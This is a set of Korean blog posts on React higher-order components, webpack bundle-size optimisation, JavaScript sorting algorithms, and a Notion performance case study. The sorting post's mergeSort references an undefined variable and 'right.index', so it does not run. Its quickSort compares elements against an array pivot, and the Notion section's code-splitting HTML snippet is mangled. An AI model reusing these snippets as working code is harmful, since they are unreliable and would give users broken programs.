리액트의 비교 알고리즘 ([재조정](https://ko.reactjs.org/docs/reconciliation.html)) 은 현재 존재하는 서브트리에서 컴포넌트 업데이트가 필요한지 혹은 새롭게 마운트 해야하는지 결정한다. 만약 render에서 반환된 요소가 이전 렌더의 요소와 완전히 동일하다면, 리액트는 새로운 렌더와 이전의 서브트리를 재귀적으로 비교하면서 업데이트를 한다. 만약 동일하지 않다면, 이전의 서브트리는 완전히 unmount 된다.

일반적으로는 이러한 것들을 고민할 필요가 없다. 그러나 HOC에서는 문제가 될 수 있는데, 이는 HOC 컴포넌트내에서는 render 메소드를 사용할 수 없기 때문이다.

```javascript
render() {
  // 렌더링이 될때마다 새로운 버전의 EnchanceComponent가 생성된다.
  const EnhancedComponent = enhance(MyComponent);
  // 이는 서브트리가 반복적으로 mount 되는 원인이 된다.
  return <EnhancedComponent />;
}
```

단순히 성능만이 문제가 아니다. 컴포넌트를 새롭게 mount 한다는 것은 하위 컴포넌트들의 상태값이 모두 사라진 다는 것을 의미한다.

이렇게 하지말고, HOC의 결과물을 컴포넌트 밖에서 적용하여 딱 한번만 만들도록 해야 한다. 그러면 렌더링 사이에서 일관성이 유지되는 것이고, 이는 개발자가 원하는 것이다.

HOC를 동적으로 사용해야 하는 매우 드문 경우에는, 컴포넌트의 라이프사이클 혹은 constructor 내부에서 수행해야 한다.

### static 메소드는 반드시 복사 해야 한다.

때때로 리액트 컴포넌트에 정적 메소드를 정의하는 것이 유용할 때가 있다. 예를 들어 Relay컨테이넌 `getFragment`라는 정적 메소드를 활용하여 GraphQL 과의 합성을 용이하게 한다.

그러나 HOC 컴포넌트에 이를 적용할 경우, 원 컴포넌트는 컨테이너 컴포넌트로 감싸지게 된다. 이 말은 원본 컴포넌트가 가지고 있던 static 메소드가 모두 사라진다는 것을 의미한다.

```javascript
// Define a static method
WrappedComponent.staticMethod = function () {
  /*...*/
}
// Now apply a HOC
const EnhancedComponent = enhance(WrappedComponent)

// The enhanced component has no static method
typeof EnhancedComponent.staticMethod === 'undefined' // true
```

이를 해결하기 위해서는, 메소드를 이전에 복사해두었다가 붙이는 방법을 써야 한다.

```javascript
function enhance(WrappedComponent) {
  class Enhance extends React.Component {
    /*...*/
  }
  // Must know exactly which method(s) to copy :(
  Enhance.staticMethod = WrappedComponent.staticMethod
  return Enhance
}
```

그러나 이런 기법을 사용하기 위해서는, 어떤 메소드가 정의되어있는지 정확히 알아야 한다. 이 때는 [hoist-non-react-statics](https://github.com/mridgway/hoist-non-react-statics)라이브러리를 사용하여 자동으로 복사하게 할 수 있다.

```javascript
import hoistNonReactStatic from 'hoist-non-react-statics'
function enhance(WrappedComponent) {
  class Enhance extends React.Component {
    /*...*/
  }
  hoistNonReactStatic(Enhance, WrappedComponent)
  return Enhance
}
```

다른 방법으로는 static 메서드를 컴포넌트와 분리하여 따로 export 하는 방법이 있다.

```javascript
// Instead of...
MyComponent.someFunction = someFunction
export default MyComponent

// ...export the method separately...
export {someFunction}

// ...and in the consuming module, import both
import MyComponent, {someFunction} from './MyComponent.js'
```

### Ref 는 넘어가지 않는다.

HOC가 모든 props을 넘기지만, ref에는 똑같이 적용할 수 없다. 그 이유는 `ref`가 사실 `prop`이라기 보다는 `key`에 가깝기 때문이다. 만약 HOC의 결과로 나온 컴포넌트에 ref를 달게 된다면, ref는 감싼 컴포넌트가 아닌 컨테이너 컴포넌트를 가르키게 된다.

이것을 해결할 수 있는 방법은 `React.forwardRef` API를 사용하는 것이다. [여기](https://ko.reactjs.org/docs/forwarding-refs.html)에서 자세한 내용을 살펴보자.

---

Source: https://yceffort.kr/2020/07/decrease-front-end-size.md
Title: 프론트엔드 사이즈 줄이기
Description: [이 글](https://developers.google.com/web/fundamentals/performance/webpack/decrease-frontend-size)을 대충 번역했습니다.  ```toc tight: true, from-heading: 2 to-heading: 4 ```  ## webpack 4버전 이상의 경우 프로덕션 모드를 사용하...
Date: 2020-07-01
Tags: web-performance, webpack

[이 글](https://developers.google.com/web/fundamentals/performance/webpack/decrease-frontend-size)을 대충 번역했습니다.

## Table of Contents

## webpack 4버전 이상의 경우 프로덕션 모드를 사용하기

webpack 4버전 부터 [mode](https://webpack.js.org/concepts/mode/)라고 하는 플래그가 추가되었다. `development` `production`을 설정해두는데, 이는 webpack에 현재 어떤 버전으로 빌드하려고 하는지 알려준다.

```json
// webpack.config.js
module.exports = {
  mode: 'production',
};
```

`production`모드는 프로덕션 환경에서 실제 앱을 빌드할 때 사용한다. 이 모드를 사용하면 웹팩은 코드 최소화, dev 라이브러리 삭제, [등등](https://medium.com/webpack/webpack-4-mode-and-optimization-5423a6bc597a)의 최적화를 진행하게 된다.

## minification 을 켜두기

minification이란 코드에서 띄어쓰기를 제거하거나, 변수명을 짧게 하는 등으로 코드의 양 자체를 줄이는 것이다.

```javascript
function map(array, iteratee) {
  let index = -1
  const length = array == null ? 0 : array.length
  const result = new Array(length)

  while (++index < length) {
    result[index] = iteratee(array[index], index, array)
  }
  return result
}
```

```javascript
// minified
function map(n, r) {
  let t = -1
  for (const a = null == n ? 0 : n.length, l = Array(a); ++t < a;)
    l[t] = r(n[t], t, n)
  return l
}
```

### 번들 수준의 minification

번들 수준의 minification은 컴파일 이후에 전체 번들을 압축하는 것이다.

```javascript
// 1. 코드가 이렇게 있다
// comments.js
import './comments.css'
export function render(data, target) {
  console.log('Rendered!')
}
```

```javascript
// 2. 웹팩이 대충 이런 모습으로 컴파일 한다.
```

```javascript
// bundle.js (part of)
'use strict'
Object.defineProperty(__webpack_exports__, '__esModule', {value: true})
/* harmony export (immutable) */ __webpack_exports__['render'] = render
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__comments_css__ =
  __webpack_require__(1)
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__comments_css_js___default =
  __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__comments_css__)

function render(data, target) {
  console.log('Rendered!')
}
```

```javascript
// 3. 압축한다.
// minified bundle.js (part of)
'use strict'
function t(e, n) {
  console.log('Rendered!')
}
;(Object.defineProperty(n, '__esModule', {value: !0}), (n.render = t))
var o = r(1)
r.n(o)
```

- webpack4에서는 번들 수준 최소화가 프로덕션 모드 또는 명시되지 않은 모드에서 자동으로 진행된다.내부적으로는 [Uglify minifier](https://github.com/mishoo/UglifyJS2)를 사용한다. 만약 최소화를 하고 싶지 않다면, development 모드를 키거나 `optimization.minimize`에 false를 주면 된다.
- webpack3에서는 [Uglify minifier](https://github.com/mishoo/UglifyJS2)를 직접 사용해야 한다. 해당 플러그인은 webpack에서 자동으로 딸려 오므로, 설정에 아래 코드를 추가하면 된다.

```javascript
// webpack.config.js
const webpack = require('webpack')

module.exports = {
  plugins: [new webpack.optimize.UglifyJsPlugin()],
}
```

### loader-specific 옵션

코드를 줄이는 두번째 방법은 loader-specific 옵션을 사용하는 것이다. [loader](https://webpack.js.org/concepts/loaders/) 이 옵션을 사용하면, minifier가 줄이지 못하는 코드를 줄여줄 수 있다. 만약 css를 위해 `css-loader`를 사용하고 있다면, 파일은 아래와 같이 문자열로 컴파일 된다.

```css
/* comments.css */
.comment {
  color: black;
}
```

```javascript
// minified bundle.js (part of)
;((exports = module.exports = __webpack_require__(1)()),
  exports.push([module.i, '.comment {\r\n  color: black;\r\n}', '']))
```

minifier는 코드가 문자열이기 때문에 더 이상 최소화 할 수 없다. 이를 최소화 하기 위해서는, 아래와 같이 옵션을 추가하면 된다.

```javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          'style-loader',
          {loader: 'css-loader', options: {minimize: true}},
        ],
      },
    ],
  },
}
```

### 참고할 만한 것들

- [Uglify JsPlugin docs](https://github.com/webpack-contrib/uglifyjs-webpack-plugin)
- 다른 최소화 라이브러리 [Babel Minify](https://github.com/webpack-contrib/babel-minify-webpack-plugin) [Google Closure Compiler](https://github.com/roman01la/webpack-closure-compiler)

## NODE_ENV=production 명시하기

> webpack4에서 production 모드를 사용하고 있다면, 이미 해당 옵션은 켜져 있을 것입니다. 아래의 팁은 webpack3와 관련된 것입니다.

`NODE_ENV`의 값을 `production`로 해두면, 코드의 크기를 줄일 수 있다.

라이브러리들은 환경 변수인 `NODE_ENV`값을 감지하여 어떻게 동작할지를 판단한다. 예를 들어, vue.js의 경우 production으로 값이 주어져 있지 않다면, 아래와 같은 메시지를 보여준다.

```javascript
// vue/dist/vue.runtime.esm.js
// …
if (process.env.NODE_ENV !== 'production') {
  warn('props must be strings when using array syntax.')
}
// …
```

리액트도 비슷하게 동작한다. development에서 빌드시 다음과 같은 경고문을 낼 수 있다.

```javascript
// react/index.js
if (process.env.NODE_ENV === 'production') {
  module.exports = require('./cjs/react.production.min.js')
} else {
  module.exports = require('./cjs/react.development.js')
}

// react/cjs/react.development.js
// …
warning$3(
  componentClass.getDefaultProps.isReactClassApproved,
  'getDefaultProps is only used on classic React.createClass ' +
    'definitions. Use a static property named `defaultProps` instead.',
)
// …
```

이런 체크는 production에서는 불필요하여 코드의 사이즈를 늘릴 뿐이다. webpack4에서는 아래와 같이 하면된다.

```javascript
module.exports = {
  optimization: {
    nodeEnv: 'production',
    minimize: true,

```

이 코드는 `process.env.NODE_ENV`를 모두 `production`으로 바꿔버리는 효과를 가지고 있다. 또한 minifer는 `process.env.NODE_ENV !== 'production'` 코드를 모두 날려버린다. 어쨌든 false라 절대 탈 수 없는 코드 이기 때문이다.

## ES Module 사용하기

프론트엔드 사이즈를 줄이는 또한가지 방법은 [ES modules](https://ponyfoo.com/articles/es6-modules-in-depth)을 사용하는 것이다. ES modules을 사용해야 웹팩에서 트리쉐이킹을 할 수 있다. 트리쉐이킹이란 번들러가 전체 디펜던시 트리를 싹 뒤져서, 사용하지 않는 부분을 삭제해 버리는 것이다. 따라서 ESModule syntax를 사용해야 트리쉐이킹이 가능하다.

```javascript
// comments.js
export const render = () => {
  return 'Rendered!'
}
export const commentRestEndpoint = '/rest/comments'

// index.js
import {render} from './comments.js'
render()
```

웹팩이 `commentRestEndpoint`는 안쓰는 것으로 판단해 따로 export하지 않는다.

```javascript
// bundle.js (part that corresponds to comments.js)
;(function (module, __webpack_exports__, __webpack_require__) {
  'use strict'
  const render = () => {
    return 'Rendered!'
  }
  /* harmony export (immutable) */ __webpack_exports__['a'] = render

  const commentRestEndpoint = '/rest/comments'
  /* unused harmony export commentRestEndpoint */
})
```

그리고 사용하지 않는 코드를 minifier가 날려버린다.

```javascript
// bundle.js (part that corresponds to comments.js)
;(function (n, e) {
  'use strict'
  var r = function () {
    return 'Rendered!'
  }
  e.b = r
})
```

> 웹팩에서 minifier가 없다면 트리쉐이킹이 동작하지 않습니다. 사용하지 않는 코드를 export하지 않는 것 (트리쉐이킹)과 사용하지 않는 코드를 지우는 것(minifier)은 한쌍이기 때문입니다.

> ESModules을 CommonJS 로 컴파일 하지 말기를 바랍니다.

## 이미지 크기 줄이기

[이미지는 페이지 크기의 절반 이상을 차지한다.](http://httparchive.org/interesting.php?a=All&l=Oct%2016%202017) 렌더링을 블락하는 자바스크립트 만큼은 치명적이지 않지만, 어쨌든 전체 네트워크 통신에서 많은 부분을 잡아먹는 것은 사실이다. `url-loader` `svg-url-loader` `image-webpack-loader` 등으로 최적화 할 필요가 있다.

`url-loader`는 작은 정적 파일을 앱에 삽입한다. 별도의 설정이 없을시 파일을 전달 받았다면, 해당 파일을 번들링하고 번들링된 주소를 리턴한다. 그러나 `limit`가 존재한다면, 해당 이미지를 더 작은 `Base64` 데이터로 인코딩하여 바꿔치기한다.

```javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.(jpe?g|png|gif)$/,
        loader: 'url-loader',
        options: {
          // Inline files smaller than 10 kB (10240 bytes)
          limit: 10 * 1024,
        },
      },
    ],
  },
}
```

```javascript
// index.js
import imageUrl from './image.png'
// → If image.png is smaller than 10 kB, `imageUrl` will include
// the encoded image: 'data:image/png;base64,iVBORw0KGg…'
// → If image.png is larger than 10 kB, the loader will create a new file,
// and `imageUrl` will include its url: `/2fcd56a1920be.png`
```

`svg-url-loader`는 `url-loader`와 비슷하지만, 파일을 URL encoding한다는 점이 다르다. 이는 SVG파일에 유용한데, 그 이유는 SVG는 단순히 텍스트 이므로, 인코딩시 더 사이즈가 줄어들기 때문이다.

```javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.svg$/,
        loader: 'svg-url-loader',
        options: {
          // Inline files smaller than 10 kB (10240 bytes)
          limit: 10 * 1024,
          // Remove the quotes from the url
          // (they’re unnecessary in most cases)
          noquotes: true,
        },
      },
    ],
  },
}
```

`image-webpack-loader`는 이미지 자체를 압축해준다. JPG, PNG, GIF, SVG를 지원한다. 이 옵션은 앞선 두 예시 처럼 따로 임베딩 해주지는 않는다. 함께 사용하기 위해서는, 아래처럼 하면 된다.

```javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.(jpe?g|png|gif|svg)$/,
        loader: 'image-webpack-loader',
        // This will apply the loader before the other ones
        enforce: 'pre',
      },
    ],
  },
}
```

## 디펜던시 최적화하기

절반이상의 자바스크립트 번들 사이즈는 디펜던시에서 오며, 그 중 일부분은 불필요할 수 있다.

`Lodash`의 경우 번들 시에 72kb를 차지하지만, 몇가지 메소드를 사용하지 않는다면 크기를 줄일 수 있다. `Moment.js`는 무려 223KB를 차지하는데, 이는 평균 페이지당 자바스크립트 사이즈를 감안했을때 [452KB](http://httparchive.org/interesting.php?a=All&l=Oct%2016%202017) 엄청나게 큰 비중을 차지한다. 하지만 이중 170kb는 [Locale](https://github.com/moment/moment/tree/4caa268356434f3ae9b5041985d62a0e8c246c78/locale)관련 내용이다. 만약 Moment.js를 가지고 다양한 언어를 지원할 필요가 없다면, 이런 파일은 크기만 차지하게 된다.

이런 패키지들은 쉽게 최적화가 가능하다. [여기](https://github.com/GoogleChromeLabs/webpack-libs-optimizations)를 참고해보자.

## ES Module을 위한 module concatenation 켜두기 (aka 스코프 호이스팅)

웹팩에서 번들을 만들때, 각 모듈을 함수로 래핑한다.

```javascript
// index.js
import {render} from './comments.js'
render()

// comments.js
export function render(data, target) {
  console.log('Rendered!')
}
```

```javascript
// bundle.js (part  of)
/* 0 */
;((function (module, __webpack_exports__, __webpack_require__) {
  'use strict'
  Object.defineProperty(__webpack_exports__, '__esModule', {value: true})
  var __WEBPACK_IMPORTED_MODULE_0__comments_js__ = __webpack_require__(1)
  Object(__WEBPACK_IMPORTED_MODULE_0__comments_js__['a' /* render */])()
}),
  /* 1 */
  function (module, __webpack_exports__, __webpack_require__) {
    'use strict'
    __webpack_exports__['a'] = render
    function render(data, target) {
      console.log('Rendered!')
    }
  })
```

과거 이러한 방식은 CommonJS나 AMD 모듈로 부터 분리시키기 위해 필요했다. 그러나 이러한 방식은 각 모듈의 사이즈를 키우고 퍼포먼스를 저하시킨다.

웹팩3 부터 [module concatenation](https://webpack.js.org/plugins/module-concatenation-plugin/)를 활용한 번들링이 가능해졌다. concatenation 모듈이 하는 것을 살펴보자.

```javascript
// index.js
import {render} from './comments.js'
render()

// comments.js
export function render(data, target) {
  console.log('Rendered!')
}
```

```javascript
// Unlike the previous snippet, this bundle has only one module
// which includes the code from both files

// bundle.js (part of; compiled with ModuleConcatenationPlugin)
/* 0 */
;(function (module, __webpack_exports__, __webpack_require__) {
  'use strict'
  Object.defineProperty(__webpack_exports__, '__esModule', {value: true})

  // CONCATENATED MODULE: ./comments.js
  function render(data, target) {
    console.log('Rendered!')
  }

  // CONCATENATED MODULE: ./index.js
  render()
})
```

차이가 보이는가? 플레인 번들에서는, 모듈 0이 모듈 1에 있는 `render`를 필요로 했다. module concatenation을 활용하면, `require` 대신 1번 모듈을 바로 호출하는 것을 볼 수 있다. 번들이 모듈의 수를 줄여주었고, 마찬가지로 오버헤드도 줄어들었다.

웹팩4

```javascript
// webpack.config.js (for webpack 4)
module.exports = {
  optimization: {
    concatenateModules: true,
  },
}
```

웹팩3

```javascript
// webpack.config.js (for webpack 3)
const webpack = require('webpack')

module.exports = {
  plugins: [new webpack.optimize.ModuleConcatenationPlugin()],
}
```

## 웹팩 코드와 웹팩으로 번들링 되지 않은 코드를 같이 슨다면 `externals`를 사용하라

만약 두개의 코드가 같은 디펜던시를 가지고 있다면, 이를 공유해서 여러번 같은 코드를 다운로드하는 것을 막을 수 있다.

### `window`에 있을 경우

```javascript
// webpack.config.js
module.exports = {
  externals: {
    react: 'React',
    'react-dom': 'ReactDOM',
  },
}
```

만약 이렇게 설정해둔다면, 웹팩은 `react`와 `react-dom`을 번들링하지 않는다. 대신 아래와 비슷한 일을 한다.

```javascript
// bundle.js (part of)
;((function (module, exports) {
  // A module that exports `window.React`. Without `externals`,
  // this module would include the whole React bundle
  module.exports = React
}),
  function (module, exports) {
    // A module that exports `window.ReactDOM`. Without `externals`,
    // this module would include the whole ReactDOM bundle
    module.exports = ReactDOM
  })
```

### `AMD` 패키지의 경우

```javascript
// webpack.config.js
module.exports = {
  output: {libraryTarget: 'amd'},

  externals: {
    react: {amd: '/libraries/react.min.js'},
    'react-dom': {amd: '/libraries/react-dom.min.js'},
  },
}
```

웹팩은 위 라이브러리를 주소로 번들링 할 것이다.

```javascript
// bundle.js (beginning)
define(["/libraries/react.min.js", "/libraries/react-dom.min.js"], function () { … });
```

## 요약

- webpack4 이상의 버전에서는 `production`모드를 활성화 시켜라
- 번들 수준의 minifier와 loader 옵션을 활용하여 코드의 크기를 줄여라
- 개발 단계에서만 필요한 코드는 `NODE_ENV` `production`으로 관리하라
- 트리쉐이킹을 위해 ESModule을 사용하라
- 이미지를 압축하라
- 디펜던시 라이브러리를 최적화 하라
- module concatenation을 켜둬라
- 필요하다면 `externals`를 사용하라

---

Source: https://yceffort.kr/2020/06/javascript-sort.md
Title: 자바스크립트로 구현해보는 다양한 정렬
Description: ## 거품(버블)정렬 - 가까운 두 원소를 비교해서 정렬하는 방식이다. - `O(N^2)` - 코드가 단순하고 구현하기 쉽다 - 느리다.  ![bubble-sort](https://upload.wikimedia.org/wikipedia/commons/3/37/Bubble_sort_animation.gif)  ```javascript function bub...
Date: 2020-07-01
Tags: javascript, algorithm

## 거품(버블)정렬

- 가까운 두 원소를 비교해서 정렬하는 방식이다.
- `O(N^2)`
- 코드가 단순하고 구현하기 쉽다
- 느리다.

![bubble-sort](https://upload.wikimedia.org/wikipedia/commons/3/37/Bubble_sort_animation.gif)

```javascript
function bubbleSort(arr) {
  for (var i = arr.length - 1; i >= 0; i--) {
    for (var j = 1; j <= i; j++) {
      if (arr[j - 1] > arr[j]) {
        var temp = arr[j - 1]
        arr[j - 1] = arr[j]
        arr[j] = temp
      }
    }
  }
  return arr
}
```

## 선택정렬

- 배열에서 가장 작은 값을 찾아, 그 값을 배치 한다.
- `O(N^2)`
- 코드가 단순하고 구현하기 쉽다.
- 느리다.

![selection-sort](https://upload.wikimedia.org/wikipedia/commons/b/b0/Selection_sort_animation.gif)

```javascript
function selectionSort(arr) {
  var minIndex,
    temp,
    len = arr.length
  for (var i = 0; i < len; i++) {
    minIndex = i
    for (var j = i + 1; j < len; j++) {
      if (arr[j] < arr[minIndex]) {
        minIndex = j
      }
    }
    temp = arr[i]
    arr[i] = arr[minIndex]
    arr[minIndex] = temp
  }
  return arr
}
```

## 삽입정렬

- 배열의 요소를 차례대로 순회하면서, 이미 정렬된 배열과 비교하여 해당 요소를 올바른 위치에 삽입하는 것
- `O(N^2)`
- 구현하기 쉽다
- 배열이 길어질 수록 정렬할 경우의 수가 많아져서 느려진다.

![insertion-sort](https://upload.wikimedia.org/wikipedia/commons/4/42/Insertion_sort.gif)

```javascript
function insertionSort(arr) {
  const result = [...arr]

  for (let i = 1; i < result.length; i++) {
    let temp = result[i]
    let aux = i - 1

    // 배열 요소가 0보다 같거나 크고, 왼쪽 값이 더 클 때마다 계속해서 바꿔 나간다.
    while (aux >= 0 && result[aux] > temp) {
      result[aux + 1] = result[aux]
      aux--
    }

    result[aux + 1] = temp
  }

  return result
}
```

## 퀵정렬

- 리스트 가운데에서 하나의 원소를 고른다. 이 원소를 피벗이라고 한다.
- 피벗을 기준으로 피벗 앞에는 피벗 보다 작은 값을, 뒤에는 큰 값들이 오도록하고 그렇게 리스트를 둘로 나눈다.
- 분할된 리스트에 대해 이 작업을 리스트의 크기가 0 또는 1이 될 때까지 반복한다.
- 제법 빠르지만, 별도의 메모리 공간이 필요해서 공간 낭비가 있다.

```javascript
function quickSort(array) {
  if (array.length < 2) {
    return array
  }

  const pivot = [array[0]]
  const left = []
  const right = []

  for (let i = 1; i < array.length; i++) {
    if (array[i] < pivot) {
      left.push(array[i])
    } else if (array[i] > pivot) {
      right.push(array[i])
    } else {
      pivot.push(array[i])
    }
  }
  return [quickSort(left).concat(pivot, quickSort(right))].flat(Infinity)
}
```

## 병합정렬

- 정렬되지 않은 리스트를 반으로 잘라 비슷한 크기의 두 배열로 나눈다. (길이가 1이면 정렬되었다고 본다)
- 분할된 각 원소에 대해 비교하여 정렬하고 합친다.
- 위 과정을 반복한다.
- `O(N * logN)`

```javascript
function mergeSort(arr) {
  // 이미 배열 한개짜리는 정렬되었다.
  if (arr.length === 1) return arr

  const middleIndex = Math.floor(arr.length / 2)
  const left = arr.slice(0, middle)
  const right = arr.slice(middle)

  return merge(mergeSort(left), mergeSort(right))
}

function merge(left, right) {
  const result = []
  let leftIndex = 0
  let rightIndex = 0

  while (leftIndex < left.length && rightIndex < right.index) {
    if (left[leftIndex] < right[rightIndex]) {
      result.push(left[leftIndex])
      leftIndex++
    } else {
      result.push(right[rightIndex])
      rightIndex++
    }
  }

  return [...result, ...left.slice(leftIndex), ...right.slice(rightIndex)]
}
```

---

Source: https://yceffort.kr/2020/06/notion-app-performance-case-study.md
Title: Notion 성능 최적화
Description: [Case Study: Analyzing Notion app performance](https://3perf.com/blog/notion/)를 제멋대로 요약한 글입니다. 왠만하면 저 글을 참고하세요. ```toc tight: true, from-heading: 2 to-heading: 3 ```  ## 자바스크립트의 비용  보통 `로딩 속도`를 이야기하면...
Date: 2020-06-29
Tags: web-performance, javascript

[Case Study: Analyzing Notion app performance](https://3perf.com/blog/notion/)를 제멋대로 요약한 글입니다. 왠만하면 저 글을 참고하세요.

## Table of Contents

## 자바스크립트의 비용

보통 `로딩 속도`를 이야기하면, 네트워크 성능을 떠올리는 경우가 많다. 네트워킹이라는 관점에서는 노션은 꽤 괜찮았다. [HTTP/2](https://developers.google.com/web/fundamentals/performance/http2?hl=ko)를 사용하고, 파일을 gzip으로 압축했으며, [CDN 프록시](https://cdn.hosting.kr/cdn%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80%EC%9A%94/)를 위해 클라우드페어를 잘 쓰고 있었다. 그러나 `로딩 속도`를 차지 하는 다른 한켠에는 `처리 성능`이 포함되어 있다. gzip을 압축해제하고, 이미지는 디코드 되야 하며, 자바스크립트는 실행되어야 한다. 이런 것들이 처리 성능에 포함되어 있다.

더 좋은 품질의 네트워크를 사용하면 향상되면 네트워크 성능과는 다르게, 처리 성능은 그렇지 않다. 오로지 사용자의 CPU가 더 좋아야 한다. 그리고 스마트폰의 사용자의 CPU라고 한다면 - 특히 안드로이드 폰의 경우 구리다.

![스마트폰 별 노션 앱 로딩 속도](https://3perf.com/static/c7e7dd1756462191f79441053ce9d5a7/28bdc/cost-of-js.png)

감사합니다 아이폰 센세

노션의 경우, 처리 성능이 차지 하는 부분은 더 크다. 앱에서 아용하는 리소스를 캐싱하여 네트워크의 비용을 줄이는 것은 쉽다. 그러나 처리 성능은 앱을 시작할 때 마다 지불해야 한다. 즉, 어떤 스마트폰 사용자는 매번 앱을 실행할 때 마다 10초이상 스플래쉬 스크린 (애플리케이션이 실행되기 전에 보여지는 화면)을 봐야 한다.

노션의 테스트폰 중 하나인 넥서스5의 경우 `vendor`와 `app`을 실행하는데 4.9초가 걸렸다. 이 시간은 즉 페이지와 앱이 상호작용 하지 못하고 비어있게 된다.

![0.4 + 4.5초가 되어야 비로소 의미있는 First Paint가 실행된다.](https://3perf.com/static/7dc48c81c2034a8df43c79164c023198/4e22f/waterfall-nexus-js.png)

브라우저 Dev Tool을 사용하여 무슨 일이 일어 나고 있는지 확인해보자.

![](https://3perf.com/static/1751d6c59e1e18a0a9de2334fd2d0b63/28bdc/js-trace.png)

먼저 0.4초 동안 `vendor`번들이 컴파일 된다. 그리고 `app`번들이 컴파일되며, 그리고 두 번들이 실행되기 시작하고 - 이작업에만 3.3초가 소요된다. 어떻게 이 시간을 줄일 수 있을까?

## 자바스크립트 실행을 지연시키기.

먼저 번들 실행 과정을 살펴보자.

![](https://3perf.com/static/c59467702c58246f5c3cf04b4cd54843/28bdc/js-trace-execution.png)

- 함수는 모두 `bkwR`과 같은 네글자로 되어 있다. 웹팩이 번들을 만들때, 각 모듈을 함수로 감싼다. 그리고 이 감싼 것들에 ID를 부여한다. 이 ID들이 바로 함수명이 된다. (이 것은 [optimization.moduleIdes:'hashed'](https://v4.webpack.js.org/configuration/optimization/#optimizationmoduleids)나 [HashedModuleIdsPlugins](https://webpack.js.org/plugins/hashed-module-ids-plugin/)를 사용하면 발생한다.)

before

```javascript
import formatDate from './formatDate.js`
//....
```

after

```javascript
 fOpr: function(module, __webpack_exports__, __webpack_require__) {
  "use strict";
   __webpack_require__.r(__webpack_exports__);
   var _formatDate__WEBPACK_IMPORTED_MODULE_0__ =
     __webpack_require__("xN6P");
   // ...
  },
```

- 그리고 저기서 자주 보이는 `s`함수는 사실 `__webpack_require__`다. 이는 웹팩의 내부 함수로 모듈을 요구할 때 사용된다. 다시 말해 코드에서 `import`를 사용하면, 웹팩이 `__Webpack_require__()`로 바꾼다.

번들 초기화는 굉장히 많은 시간을 할애하는데, 그 이유는 모든 모듈을 실행하기 때문이다. 각 모듈은 실행하는데 몇 밀리초가 걸릴뿐이지만, 노션의 경우 이러한 모듈이 1100개가 넘게 있다. 이것을 해결하는 유일한 방법은 초기화에 더 적은 모듈을 실행하는 것이다.

### 코드 스플리팅

첫 화면을 띄우는 시간을 줄이는 가장 좋은 방법은 당장 필요하지 않은 기능들을 나누는 코드 스플릿 방식이다. 웹팩에서는, [import()](https://webpack.js.org/guides/code-splitting/)를 사용한다.

```html
// Before
<button onClick="{openModal}" />

// After
<button onClick="{()" ="">
  import('./Modal').then(m => m.openModal())} />
</button>
```

코드 스플릿은 여러분이 할 수 있는 가장 최선의 성능최적화다. 이는 많은 성능상 이점을 가져다 준다. 코드 스플릿팅을 하게되면, 로딩 시간을 60% 감소시킬 수 있다. 노션의 경우 40~45% 를 절감하는 효과를 가져왔다.

[코드 스플릿팅을 하는 몇가지 일반적인 방식이 있다.](https://medium.com/js-dojo/3-code-splitting-patterns-for-vuejs-and-webpack-b8fff1ea0ba4)

- 페이지 별로 번들을 나누기
- below-the-fold (신문을 접었을 때 볼 수 없는 영역. 웹페이지에서는 스크롤하지 않으면 볼 수 없는 부분을 의미한다.) 의 코드를 나누기
- 조건에 따라 노출되는 컨텐츠를 나누기 (당장 사용자에게 노출되지 않은 다이나믹 UI)

노션의 경우 페이지가 없으며 (페이지 그 자체가 하나의 글이므로) 페이지 또한 사용자에 따라 굉장히 유동적이기 때문에 below-the-fold방식도 처리하기 어렵다. 여기에서 노션이 사용할 수 있는 유일한 방법은 조건에 따라 노출되는 컨텐츠를 나누는 방식이다. 그래서 노션은 다음과 같은 부분을 적용해 보기로 했다.

- Settings, import, trash와 같이 사용자가 자주 사용하지 않는 UI
- 사이드바, share, page options와 같이 자주 사용하지만 앱 시작하는데 바로 보여줄 필요가 없는 UI. 이 영역 들은 앱이 시작된 이후에 준비해도 된다.
- 페이지 로딩을 가로막는 무거운 요소들. 몇몇 글 조각들은 꽤 무겁다. 일례로 코드 블록의 경우 `Prism.js`를 활용하여 68 종류의 언어를 지원하는데, 이는 압축되어있지만 최소 120KB가 나간다.

### ModuleConcatenationPlugin이 제대로 작동하는지 확인하기

웹팩에서 [module concatenation](https://webpack.js.org/plugins/module-concatenation-plugin/) 이라는 기능이 있는데, 이는 작은 ES 모듈을 하나로 합치는 역할을 한다. 이는 모듈 처리과정에서의 오버헤드를 줄여주며, 불필요한 코드를 삭제해준다. 이 모듈이 제대로 작동하는지 확인하기 위해서는

- 바벨이 ES 모듈을 Commonjs로 컴파일 하지 않는지 확인한다. [@babel/preset-env](https://babeljs.io/docs/en/babel-preset-env)는 ES모듈을 CommonJS로 트랜스파일 하지 않는다.
- [optimization.concatenateModules](https://webpack.js.org/configuration/optimization/#optimizationconcatenatemodules)옵션이 명시적으로 꺼져있진 않은지 확인한다.
- 웹팩 프로덕션 빌드를 [--display-optimization-bailout](https://webpack.js.org/plugins/module-concatenation-plugin/#debugging-optimization-bailouts)옵션과 함께 실행해서, module concatenation이 안되는 경우가 있는지 확인한다.

> 모든 imports가 `__webpack_require__` 함수로 변경된다는 것을 기억하는가? 같은 함수가 초기화 단계에서 1100번 넘게 호출되면 어떻게 될까? 이 함수는 엄청난 시간을 잡아먹게 된다 (...)
> ![](https://3perf.com/static/befda82857003648779614db0961125d/713f0/hot-path.png)
>
> [그러나 이부분은 딱히 최적화 될것 같지 않다.](https://github.com/webpack/webpack/issues/2219)

### Babel `plugin-transform-modules-common-js`의 `lazy`옵션을 활용하기

> 해당 옵션은 module concatenation이 꺼져있을때만 가능하다. 즉 위의 항목과는 호환되지 않는다.

[@babel/plugin-transform-modules-commonjs](https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs#lazy)는 바벨의 공식 플러그인으로, ES imports구문을 Commonjs의 `require()`로 바꿔 준다.

```javascript
// Before
import formatDate from './formatDate.js'
export function getToday() {
  return formatDate(new Date())
}

// After
const formatDate = require('./formatDate.js')
